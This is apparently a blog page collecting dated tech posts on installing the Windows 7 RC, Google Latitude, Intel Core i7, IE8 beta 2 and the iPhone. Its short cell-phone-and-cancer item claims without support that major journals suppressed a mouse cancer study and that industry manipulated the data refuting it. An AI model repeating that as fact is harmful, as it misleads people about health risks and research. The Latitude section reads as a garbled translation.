Installation:Windows 7 RC

How to download the Windows 7 RC

Visit the Windows 7 RC download page. http://www.microsoft.com/windows/windows-7/download.aspx
Choose your language.
Choose a 32-bit or 64-bit version of the RC. To see if your computer can run a 64-bit version of Windows, in Performance Information and Tools (Start>Control Panel>Performance Information and Tools) click View and print details and then look under 64-bit capable. For more information that might help with your decision, see 32-bit and 64-bit Windows: Frequently asked questions.
Get a Windows 7 RC product key. (You can use the RC for 30 days without a product key, then you'll need it for activation.)
Download the Windows 7 RC.

How to create an installation DVD
The RC download is an ISO file, which you'll need to burn onto a blank disc before you can install it. To do that, you'll need to use software designed for burning ISO files.
In addition to commercial ISO burning software, there are free programs such as ISOBuster and Active ISO Burner. To find one, go to a site such as Download.com or Tucows and search for "ISO," "DVD," and "burn".
Follow the instructions that came with your program to create a Windows 7 RC installation disc.

How to install the Windows 7 RC
You’ll need to do a "clean installation." That means you can’t upgrade an existing PC to Windows 7 RC. So if you’re using an existing PC and want to keep the information on it, you’ll need to back it up before you start.
Turn on your computer, insert the Windows 7 RC installation disc you created in step 2 into the computer's DVD or CD drive, and then do one of the following:
If you want to replace your computer's existing operating system with the Windows 7 RC, and you don't need to adjust your disk partitions, go to step 2.
If your computer doesn't have an operating system installed, or you want to install the RC on another disk partition, restart your computer with the installation disc inserted in your CD or DVD drive. If you're asked to press a key to boot from DVD or CD, press any key. If the Install Windows page appears, go to step 2.

If the Install Windows page doesn't appear and you're not asked to press a key to start from DVD or CD, you might have to specify that your computer uses its DVD or CD drive as the startup device. See Start Windows from a CD or DVD. After you select your DVD or CD drive as the startup device, restart your computer, and then start Windows from the installation DVD or CD as previously described.
On the Install Windows page, follow the instructions, and then click Install now.
On the Get important updates for installation page, we recommend getting the latest updates to help ensure a successful installation and protect your computer against security threats. You need an Internet connection to get updates.
On the Please read the license terms page, if you accept the license terms, click I accept the license terms. (You must accept to continue the installation.)
On the Which type of installation do you want? page, click Custom.
On the Where do you want to install Windows? page, do one of the following:
If you don't want to specify a specific partition to install Windows on, or create partitions on your hard disk, click Next to begin the installation.
If you already have another existing partition with enough free space and want to install the Windows 7 RC on that partition to create a multiboot configuration, select the partition you want to use, and then click Next to begin the installation. (Be sure to install the RC on a different partition from where your current version of Windows is installed.)
If you want to create, extend, delete, or format a partition, click Drive options (advanced), click the option you want, and then follow the instructions. Click Next to begin the installation. (If the Drive options (advanced) option is disabled, you need to start your computer using the installation disc.)
Follow the instructions.

Google Latitude Broadcasts Your Location

Now it's a fun way to feel close to the people you care about.

Latitude is a feature available only by login on gogle Maps for mobile. Inviting friends to do the same, and after their approval, you will see an icon on the phone that identifies a friend and its approximate geographical processing.

Clicking on the icon that identifies our friend, you can call him or send him an sms, chat with him or send him an email.
Latitude Of course Google has been designed to ensure a complete and total control by the user when and how to want to be tracked. E ', for example, decide not to make visible its position to one or more of the friends with whom you share the service or even completely disable Latitude anytime.

The user can also customize your privacy settings of the service to determine how many and what about your position and wants to share with whom. More information about our privacy practices Latitude you can see in this video.




According to Google, if you have any mobile device that supports Google Maps for and above, you're probably good to go. Those include Android-powered devices with Maps v3.0 and above; most color BlackBerry devices; most Windows Mobile 5.0 and above devices; and most Symbian S60 devices.
Mobile users need to first have Google Maps 3.0 or above installed. After that, you can install Latitude. PC users can install the gadget by starting from the Google Latitude site.
Latitude can use Wi-Fi access points, cell towers or GPS to work out your location. Google is using technology that's similar to that of Skyhook Wireless in its Latitude service. Like Skyhook, it is a software-only location solution that allows any mobile device with Wi-Fi, GPS or a cellular radio to determine its position with an accuracy of 10 to 20 meters. What sets XPS apart is that it uses land-based Wi-Fi access points, GPS satellites and cellular towers to determine location information.

In other words, Latitude can use any of the three kinds of signals — Wi-Fi, 2G/3G/4G mobile or GPS satellite — that a device can pick up to work out its location. By leveraging these wireless capabilities, the software can combine positioning data from satellites, carrier assistance servers and Wi-Fi base stations to significantly speed up positioning, or TTFF (time to first fix). TTFF for some devices can be up to a minute, but by using multiple reference sites, Latitude can reduce TTFF to a few seconds.
Accuracy:
If all you're working with is Wi-Fi APs, as would be the case with an iPod Touch or most PCs, it can work out your location only within about 200 meters. If you're using multiple cell towers -- say you're in a city -- you can get it down to a 100-meter circle. In the country, you may be as far out as 300 meters. And with GPS, you can lock down your location to a few meters. If you combine systems, you can be within GPS's accuracy range.
Many variables can interfere with your accuracy, however. Unfortunately, there are no hard and fast rules on determining how accurate Latitude or any other LBS application will be at any given location. For example, if you're inside a large building, you probably won't get a GPS signal. On the street, you may get the GPS, but you'll lose the Wi-Fi signals.

One way or another, though, we're entering an age where you can always keep track of where you're at, who's near you and what businesses are close by. The flip side, of course, is that others can also track you.


With Google Latitude, you can:
See where your friends are and what they are up to
Quickly contact them with SMS, IM, or a phone call
Control what your location is and who gets to see it
Enjoy Google Latitude on your phone, PC, or both.

Intel New Processor: Core i7

Intel touts Core i7 as the fastest processor on the planet and it is rightly so. Who would have thought Core i7’s entry-level processor will beat Intel’s high-end Core 2 Quad processor hands down?
Intel also confirmed the prices of the processors. Entry-level 2.66GHz Core i7 will cost $284, 2.93GHz Core i7 940 will go for $562 and 3.20GHz Core i7 Extreme 965 for $999. However, these prices are based on quantities of 1000 so we can expect the retail prices to be little higher.
Some cool features:

• Quad Pumped Bus processor
• Memory controller built into the CPU supports triple-channel DDR3 SDRAM
• Simultaneous Multithreading technology similar to Hyper-Threading technology.
• It has 8MB shared L3 cache.
• Independently adjusts voltages and core frequencies.
• New SSE4.2 instructions support.

Browser War :: IE8 (beta-II) on the way to Wipe out Chrome and Mozilla Firefox, Watch Out!

Why IE8 a better browser ?
In the past few months, each of the browser makers has made very similar claims around their performance: “Superior speed and performance”, “The fastest and most powerful Web browser available”, and “The fastest web browser on any platform.” In some fundamental way, I think the likeness of these statements is a by-product of the complexity inherent in performance measurement and analysis.
Rather than join the chorus and trumpet IE as the fastest browser in the universe, this post is my attempt to demystify the performance work that is being delivered as part of IE8 so that you can understand how we are making you more productive. Best of all, you don’t need to take my word for it. As Dean mentioned back at MIX08, Google has commented on our IE8 Beta 1 improvements (emphasis mine), and we’ve made IE8 even faster since then:“Some of the tests we have done show pure JScript performance improvements up to 2.5 times. We also measured the performance gains on common Gmail operations, like loading the inbox (34%), opening a conversation (45%) and opening a thread (27%) compared to IE7.”
Before I delve too far into the body of this post I am going to first take a step back to explain how the IE team thinks about performance. I will then discuss some of the performance work that has gone into IE8 and how it will make IE8 a better browser for user and developers. Lastly, I will touch on some of the great IE8 features that give web developers the right tools they need to be more productive and to build the next generation of great sites.";Said Christian Stockwell (blogs.msdn)

1. Overview
   The first beta release of IE8, which was demonstrated at the MIX08 conference, contained many new features, including WebSlices and Activities. In the second beta release, Activities were renamed to Accelerators.


2. Added features
   Some of the features and changes for the Beta 2 compared to Beta 1
   InPrivate
   Delete Browsing History
   Search Suggestions
   User Preference Protection
   Caret Browsing
   Accelerators (previously known as Activities)
   Web Slices (previously known as WebSlices)
   Suggested Sites
   Tab Color Grouping
   Automatic Crash Recovery
   SmartScreen Filter (Known as Safety Filter in Beta 1)
   Tab isolation (tabs spread over separate operating system processes)


3. Removed features
   Inline AutoComplete
   The option to delete files and settings stored by addons or ActiveX controls.
   CSS Expressions are no longer supported in Internet Explorer 8 Standards mode.

Accelerators:Accelerators are a contextual feature used to quickly access a service from any webpage. It is common for users to copy and paste content from one webpage to another, and accelerators simplify this process.Accelerators allow users to find information without leaving the current webpage. For example, to determine the location of a specific restaurant, a user will select the restaurant's address, generating an in-place view of the map. Clicking the view will open a full webpage that includes additional information from the mapping service.


Browser War
Mozilla's second alpha of Firefox 3.1 is upping the ante in the next-generation browser battle. So how do the main contenders stack up so far now? One thing's for sure, the Firefox team has taken note of Google's recent Chrome release and worked hard to make sure its offering can hold its own. Mozilla had already claimed its 3.1 version could outperform Chrome when it comes to speed (and most independent tests show it at least tying). Now, the engineers have incorporated Chrome-initiated options such as the ability to drag and drop tabs in and out of browser windows.
The second alpha release also adds support for the HTML 5 video tag, which gives Web developers expanded options for embedding video within a page. Don't forget, too, that Microsoft's new Internet Explorer 8 beta 2 -- released at the end of August and quickly eclipsed by Chrome's introduction -- is also vying for a piece of the pie.

Cell phones and cancer.

The Repacholi study from Australia indicates an increased cancer risk in mice exposed to mobile phone radiation. It was suppressed by major science journals (Science and Nature) because they feared it would cause panic among users.
"Mobile Phones and Cancer: Is the Popular Media Doing Its Job?" Misleading reporting about a study claiming to refute the results of Repacholi. In reality it was not a replication. The result actually indicated a trend in the same direction as Repacholi. The question is further if the "refuting" data are fully correct, as manipulation of data under the pressure of powerful industrial science sponsors is a real problem.

Advantages of Apple

iPhone Advantages
Brand Elevation. The iPhone home page establishes one central on-device portal for accessing all of Apple’s rich content and standalone widgets. By establishing a consistent look-and-feel across all of the iPhone widgets, Apple elevates its brand. No matter which widget they use, users get the same user experience, navigation, and look and feel. The on-device portal approach enables Apple to “own” the end-to-end user experience on the phone.
Fewer Keystrokes. By letting users drag-and-drop-and-touch, Apple eliminated as many keystrokes as possible to discover and access rich content. This, I believe, is a smart move, considering a simple music download from a carrier portal can take 18 to 39 clicks to execute. That’s a huge usability hindrance as most people abandon such activities after six clicks.
To further ease data entry, iPhone widgets also connect with the Personal Information Manager (PIM) software on the phone. This enables users to quickly email or text content to a friend. They can grab addresses from their contacts and use them inside widgets to reduce data entry – a key feature of any on-device portal application.
Requests Remembered. The iPhone also remembers recent requests. Search for stocks using the stock widget, and the requests will be stored, eliminating the need to reenter the same information later. Similarly, by offering personalization features in the widgets, Apple prevents repeat data entry.
Encourage Action. When the iPhone displays content, an “action bar” at the bottom of the screen provides further options for using the content. (e.g., find an address for a restaurant, then map door-to-door directions to the restaurant, then get current traffic conditions.) Okay, maybe it’s not called an “action bar” – that’s what we call ours – but it’s cool. Nice job Apple!
Multimedia Content. iPhone will offer music, streaming video, podcasts, movies, YouTube, and more. Nobody does multimedia better than Apple, and dedicated applications are the best way to deliver these services.

Apple iPhone Spec

The Apple iPhone is not just a phone - it is a phone, music player, video player, internet device, and camera all in one. Like its Apple iPod Nano and iPod video cousins, the iPhone is slim and sleek at just 11.6mm thick, 2.4-inches wide, and 4.5-inches tall.
Steve Jobs has such confidence in the new iPhone that he has said he wants to sell over 10 million of them by 2008. I think he's setting his sights a little low, and project that Apple will sell over 10 million iPhones in less than 6 months. With the following that Apple has, and the fact that this device has been rumored about and anticipated for almost four years now, it shouldn't be too far out of the realm of possiblity.
iPod Features:
The Apple iPhone is a widescreen iPod that features touch screen controls that allow you to enjoy all your content, including audiobooks, music, TV shows, and movies. It features an amazing 3.5-inch widescreen display, and allows you to sync content from your iTunes library on your PC or Mac, making that content also accessible with just the touch of a finger.
